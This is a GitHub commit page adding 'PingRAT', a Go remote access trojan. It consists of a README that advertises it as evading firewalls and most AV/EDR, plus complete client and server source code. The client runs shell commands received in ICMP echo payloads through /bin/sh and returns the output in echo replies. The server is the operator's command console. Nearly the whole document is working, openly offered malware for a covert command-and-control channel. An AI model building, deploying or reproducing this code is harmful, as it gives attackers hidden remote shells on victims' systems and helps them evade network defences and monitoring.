-
Notifications
You must be signed in to change notification settings - Fork 53
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
f4c95ff
commit e35a1b8
Showing
6 changed files
with
263 additions
and
1 deletion.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,2 +1,44 @@ | ||
# PingRAT | ||
PingRAT secretly passes C2 traffic through firewalls using ICMP payloads. | ||
## PingRAT secretly passes C2 traffic through firewalls using ICMP payloads. | ||
|
||
## Features: | ||
|
||
- Uses ICMP for Command and Control | ||
- Undetectable by most AV/EDR solutions | ||
- Written in Go | ||
|
||
## Installation: | ||
[Download](https://github.com/Nemesis0U/PingRAT/releases) the binaries | ||
|
||
or build the binaries and you are ready to go: | ||
|
||
$ git clone https://github.com/Nemesis0U/PingRAT.git | ||
$ go build client.go | ||
$ go build server.go | ||
|
||
## Usage: | ||
|
||
### Server: | ||
``` | ||
./server -h | ||
Usage of ./server: | ||
-d string | ||
Destination IP address | ||
-i string | ||
Listener (virtual) Network Interface (e.g. eth0) | ||
``` | ||
|
||
### Client: | ||
``` | ||
./client -h | ||
Usage of ./client: | ||
-d string | ||
Destination IP address | ||
-i string | ||
(Virtual) Network Interface (e.g., eth0) | ||
``` | ||
|
||
## Screenshot: | ||
|
||
 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,92 @@ | ||
package main | ||
|
||
import ( | ||
"flag" | ||
"fmt" | ||
"golang.org/x/net/icmp" | ||
"golang.org/x/net/ipv4" | ||
"os" | ||
"os/exec" | ||
) | ||
|
||
const ( | ||
ICMPID = 13170 | ||
TTL = 64 | ||
Protocol = 1 // ICMP protocol number | ||
) | ||
|
||
var ( | ||
interfaceName = flag.String("i", "", "(Virtual) Network Interface (e.g., eth0)") | ||
destinationIP = flag.String("d", "", "Destination IP address") | ||
) | ||
|
||
func checkError(err error) { | ||
if err != nil { | ||
fmt.Fprintf(os.Stderr, "Error: %v\n", err) | ||
os.Exit(1) | ||
} | ||
} | ||
|
||
func icmpShell(conn *icmp.PacketConn) { | ||
buf := make([]byte, 1024) | ||
n, addr, err := conn.ReadFrom(buf) | ||
checkError(err) | ||
|
||
// Parse the incoming ICMP packet | ||
msg, err := icmp.ParseMessage(Protocol, buf[:n]) | ||
checkError(err) | ||
|
||
// Check if it's an Echo Request packet with the correct ID | ||
if echo, ok := msg.Body.(*icmp.Echo); ok && msg.Type == ipv4.ICMPTypeEcho && echo.ID == ICMPID { | ||
icmpPayload := string(echo.Data) | ||
|
||
cmd := exec.Command("/bin/sh", "-c", icmpPayload) | ||
output, err := cmd.CombinedOutput() | ||
if err != nil { | ||
fmt.Printf("Command execution error: %v\n", err) | ||
} | ||
|
||
// Create an ICMP Echo Reply packet with the output as data | ||
reply := icmp.Echo{ | ||
ID: ICMPID, | ||
Seq: 1, | ||
Data: []byte(output), | ||
} | ||
msg := icmp.Message{ | ||
Type: ipv4.ICMPTypeEchoReply, | ||
Code: 0, | ||
Body: &reply, | ||
} | ||
|
||
// Serialize the ICMP message | ||
replyBytes, err := msg.Marshal(nil) | ||
checkError(err) | ||
|
||
// Send the ICMP Echo Reply packet | ||
_, err = conn.WriteTo(replyBytes, addr) | ||
if err != nil { | ||
fmt.Printf("Error sending ICMP response packet: %v\n", err) | ||
} | ||
} | ||
} | ||
|
||
func main() { | ||
flag.Parse() | ||
|
||
if *interfaceName == "" || *destinationIP == "" { | ||
fmt.Println("Please provide both interface and destination IP address.") | ||
os.Exit(1) | ||
} | ||
|
||
// Create a raw socket for ICMP packets | ||
c, err := icmp.ListenPacket("ip4:icmp", *interfaceName) | ||
checkError(err) | ||
defer c.Close() | ||
|
||
fmt.Println("[+] ICMP listener started!") | ||
|
||
for { | ||
icmpShell(c) | ||
} | ||
} | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,7 @@ | ||
module github.com/Nemesis0U/PingRAT | ||
|
||
go 1.20 | ||
|
||
require golang.org/x/net v0.15.0 | ||
|
||
require golang.org/x/sys v0.12.0 // indirect |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,4 @@ | ||
golang.org/x/net v0.15.0 h1:ugBLEUaxABaB5AJqW9enI0ACdci2RUd4eP51NTBvuJ8= | ||
golang.org/x/net v0.15.0/go.mod h1:idbUs1IY1+zTqbi8yxTbhexhEEk5ur9LInksu6HrEpk= | ||
golang.org/x/sys v0.12.0 h1:CM0HF96J0hcLAwsHPJZjfdNzs0gftsLfgKt57wWHJ0o= | ||
golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= |
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,117 @@ | ||
package main | ||
|
||
import ( | ||
"flag" | ||
"fmt" | ||
"net" | ||
"os" | ||
"os/signal" | ||
"syscall" | ||
"golang.org/x/net/icmp" | ||
"golang.org/x/net/ipv4" | ||
"bufio" | ||
) | ||
|
||
const ( | ||
ICMPID uint16 = 13170 | ||
) | ||
|
||
var ( | ||
interfaceName = flag.String("i", "", "Listener (virtual) Network Interface (e.g. eth0)") | ||
destinationIP = flag.String("d", "", "Destination IP address") | ||
stopSignal = make(chan os.Signal, 1) | ||
icmpShellPacket = make(chan []byte) | ||
) | ||
|
||
func checkError(err error) { | ||
if err != nil { | ||
fmt.Fprintf(os.Stderr, "Error: %v\n", err) | ||
os.Exit(1) | ||
} | ||
} | ||
|
||
func sendICMPRequest(conn *icmp.PacketConn, destAddr *net.IPAddr, command string) { | ||
// Construct an ICMP Echo Request packet with the command as payload | ||
msg := icmp.Message{ | ||
Type: ipv4.ICMPTypeEcho, // Note: You can use ipv4.ICMPTypeEcho instead of icmp.Echo. | ||
Code: 0, | ||
Body: &icmp.Echo{ | ||
ID: int(ICMPID), | ||
Data: []byte(command), | ||
}, | ||
} | ||
|
||
msgBytes, err := msg.Marshal(nil) | ||
checkError(err) | ||
|
||
// Send the ICMP Echo Request packet to the client | ||
_, err = conn.WriteTo(msgBytes, destAddr) | ||
checkError(err) | ||
} | ||
|
||
func sniffer() { | ||
conn, err := icmp.ListenPacket("ip4:icmp", *interfaceName) | ||
checkError(err) | ||
defer conn.Close() | ||
|
||
for { | ||
buf := make([]byte, 1500) | ||
n, _, err := conn.ReadFrom(buf) | ||
checkError(err) | ||
|
||
// Parse the incoming ICMP packet | ||
msg, err := icmp.ParseMessage(1, buf[:n]) | ||
checkError(err) | ||
|
||
// Check if it's an Echo Reply packet with the correct ID | ||
if echo, ok := msg.Body.(*icmp.Echo); ok && msg.Type == ipv4.ICMPTypeEchoReply && echo.ID == int(ICMPID) { | ||
icmpShellPacket <- echo.Data | ||
} | ||
} | ||
} | ||
|
||
func main() { | ||
flag.Parse() | ||
|
||
if *interfaceName == "" || *destinationIP == "" { | ||
fmt.Println("Please provide both interface and destination IP address.") | ||
os.Exit(1) | ||
} | ||
|
||
go sniffer() | ||
|
||
signal.Notify(stopSignal, os.Interrupt, syscall.SIGTERM) | ||
|
||
fmt.Println("[+] ICMP C2 started!") | ||
|
||
// Start reading user input for commands | ||
go func() { | ||
scanner := bufio.NewScanner(os.Stdin) | ||
for { | ||
fmt.Print("Enter command: ") | ||
if scanner.Scan() { | ||
command := scanner.Text() | ||
conn, err := icmp.ListenPacket("ip4:icmp", *interfaceName) | ||
checkError(err) | ||
|
||
destAddr, err := net.ResolveIPAddr("ip4", *destinationIP) | ||
checkError(err) | ||
|
||
sendICMPRequest(conn, destAddr, command) | ||
conn.Close() | ||
fmt.Println("[+] Command sent to the client:", command) | ||
} | ||
} | ||
}() | ||
|
||
for { | ||
select { | ||
case icmpShell := <-icmpShellPacket: | ||
fmt.Print(string(icmpShell)) | ||
case <-stopSignal: | ||
fmt.Println("[+] Stopping ICMP C2...") | ||
return | ||
} | ||
} | ||
} | ||
|